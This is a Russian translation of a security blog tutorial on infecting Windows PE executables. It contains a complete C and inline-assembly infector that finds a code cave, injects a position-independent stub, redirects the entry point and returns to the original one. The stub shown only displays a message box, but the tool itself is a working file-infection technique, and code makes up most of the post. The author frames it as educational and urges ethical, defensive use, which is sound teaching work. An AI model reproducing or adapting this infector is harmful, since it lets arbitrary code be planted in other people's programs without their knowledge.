Order Of Six Angles

Main Logo

A security researcher's blog about reverse-engineering, malware and malware analysis

Home | RU | Translations | Tools | Art | About

9 June 2020

tags: windows - malware

Детальный гайд по заражению PE

Оригинал

Заражение PE файлов - тема, которую я всегда считал сомнительной. Изучая ее, я всегда упускал некоторые части пазла… В этой статье я попытаюсь прояснить этот вопрос и надеюсь, что она станет хорошей отправной точкой для тех, кто хочет узнать, как работают PE инфекторы.

Хочу отметить, что я пишу эту статью с намерением обучить других. Вы можете начать свою деятельность с заражения PE файлов, но в конце концов я надеюсь, что вы перейдете к написанию средств защиты PE файлов и будете использовать полученные знания в позитивном и этическом ключе. Многому можно научиться в процессе разработки и внедрения таких инструментов.

В большинстве своем я буду использовать язык Си и встроенный язык ассемблера и подразумеваю, что вы имеете как минимум опыт использования Си/языка ассемблера.

Во-первых, что такое PE файл? Вы можете прочитать об этом по следующей ссылке:

Во-вторых, что такое ‘заражение PE файлов’?

По моему мнению, заражение PE файлов — это просто метод добавления кода (вредоносного) в скомпилированный исполняемый файл, с сохранением прежней функциональности (это значит он должен работать так, как будто его не меняли).

Конечно, чтобы заразить PE файл мы должны знать его структуру. Существует множество документов, описывающих ее. Я рекомендую вам взглянуть на следующие перед тем, как продолжите читать дальше:

Типичная структура PE файла выглядит так:

[MZ Header] 
[MZ Signature] 
[PE Headers] 
[PE Signature]
[IMAGE_FILE_HEADER] [IMAGE_OPTIONAL_HEADER] 
[Section Table] 
[Section 1] [Section 2] [Section n] 

Я не указал заголовок DOS, но это не так критично. Я не ставлю тут цель рассказать о внутренностях PE формата.

Внутри IMAGE_OPTIONAL_HEADER у нас лежат указатели на различные каталоги данных. Эти каталоги обычно указывают, среди прочего, на таблицы Import и Relocation. Мы должны сохранить или перестроить эти каталоги сами, если хотим их уничтожить… Например, если вы шифруете секцию, которая содержит данные одной из директорий.

Основная идея заражения PE - в начале вставить наш код в свободное место, поменять оригинальную точку входа, чтобы она указывала на наш код, выполнить его, и затем прыгнуть на оригинальную точку входа, чтобы PE работал так, как будто и не существовало нашего кода.

Псевдокод этого алгоритма будет выглядеть так:

Хочу обратить внимание, что сам код, который мы вставляем — это самая сложная часть заражения PE, почему вы поймете дальше.

Теперь давайте начнем реализовывать наш псевдокод…

Нам надо открыть файл и смаппить его (это упростит модификацию). Я не буду объяснять, что делает каждый вызов API, в этом вам поможет MSDN.

Следующий кусок кода показывает, как это делается:

// PE Infecter by KOrUPt
#include 
#include 
 
#define bb(x) __asm _emit x
 
__declspec(naked) void StubStart()
{
    __asm{
        pushad  // сохраняем контекст нашего потока
        call GetBasePointer
        GetBasePointer: 
        pop ebp
        sub ebp, offset GetBasePointer // трюк для базонезависимости...
         
        push MB_OK
        lea  eax, [ebp+szTitle]
        push eax
        lea  eax, [ebp+szText]
        push eax
        push 0
        mov  eax, 0xCCCCCCCC
        call eax
     
        popad   // восстанавливаем контекст нашего потока
        push 0xCCCCCCCC // кладем на стек адрес оригинальной входной точки (здесь в примере - заглушка)
        retn    // retn используется, как jmp
         
        szText:
            bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
            bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)        
        szTitle:
            bb('O') bb('h') bb('a') bb('i') bb(0)
         
    }
}
void StubEnd(){}
 
// By Napalm
DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
{
    PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
    for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
        if(dwFileAddr >= lpSecHdr->PointerToRawData){
            if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                dwFileAddr -= lpSecHdr->PointerToRawData;
                dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                return dwFileAddr; 
            }
        }
        
        lpSecHdr++;
    }
     
    return NULL;
}
 
int main(int argc, char* argv[]) 
{    
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeaders;
    PIMAGE_SECTION_HEADER pSection, pSectionHeader;
    HANDLE hFile, hFileMap;
    HMODULE hUser32;
    LPBYTE hMap;
 
    int i = 0, charcounter = 0;
    DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
    unsigned char *stub;
     
    // вычисляем размер кода/стаба
    DWORD start  = (DWORD)StubStart;
    DWORD end    = (DWORD)StubEnd;
    DWORD stubLength = (end - start);
     
    if(argc != 2){
        printf("Usage: %s [file]\n", argv[0]);
        return 0;
    }
     
    // мапим файл
    hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }
     
    fsize = GetFileSize(hFile, 0);
    if(!fsize){
        printf("[-] Could not get files size\n");
        CloseHandle(hFile);
        return 0;
    }
     
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
    if(!hFileMap){
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hFile);
        return 0;
    }
 
    hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
    if(!hMap){
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hFileMap);
        CloseHandle(hFile);
        return 0;
    }
     
    // проверяем сигнатуры
    pDosHeader = (PIMAGE_DOS_HEADER)hMap;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
        printf("[-] DOS signature not found\n");
        goto cleanup;
    }
     
    pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
    if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
        printf("[-] NT signature not found\n");
        goto cleanup;
    }
     
    // берем заголовок последней секции...
    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    pSection = pSectionHeader;
    pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
     
    // сохраняем точку входа
    oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
     
    // определяем свободное место
    i = pSection->PointerToRawData;
    for(; i != fsize; i++){
        if((char *)hMap[i] == 0x00){
            if(charcounter++ == stubLength + 24){
                printf("[+] Code cave located @ 0x%08lX\n", i);
                writeOffset = i;
            }
        }else charcounter = 0;
    }
 
    if(charcounter == 0 || writeOffset == 0){
        printf("[-] Could not locate a big enough code cave\n");
        goto cleanup;
    }
     
    writeOffset -= stubLength;
     
    stub = (unsigned char *)malloc(stubLength + 1);
    if(!stub){
        printf("[-] Error allocating sufficent memory for code\n");
        goto cleanup;
    }
     
    // копируем код в буфер
    memcpy(stub, StubStart, stubLength);
     
    // определяем смещения до заглушек в коде
    for(i = 0, charcounter = 0; i != stubLength; i++){
        if(stub[i] == 0xCC){
            charcounter++;
            if(charcounter == 4 && callOffset == 0)
                callOffset = i - 3;
            else if(charcounter == 4 && oepOffset == 0)
                oepOffset = i - 3;
        }else charcounter = 0;
    }
     
    // проверяем их на валидность
    if(oepOffset == 0 || callOffset == 0){
        free(stub);
        goto cleanup;
    }
     
    hUser32 = LoadLibrary("User32.dll");
    if(!hUser32){
        free(stub);
        printf("[-] Could not load User32.dll");
        goto cleanup;
    }
     
    // подменяем заглушки реальными значениями
    *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
    *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
    FreeLibrary(hUser32);
     
    // записываем код
    memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
     
    // устанавливаем точку входа
    pNtHeaders->OptionalHeader.AddressOfEntryPoint = 
        FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
     
    // устанавливаем размер секции
    pSection->Misc.VirtualSize += stubLength;
    pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
     
    // очищаем
    printf("[+] Stub written!!\n[*] Cleaning up\n");
    free(stub);
     
    cleanup:
    FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);
     
    SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}

Код выше объясняет всю суть способа… Надеюсь, вам понравилось читать. Я жду ваших комментариев и рецензий данной темы.

KOrUPt.

Вверх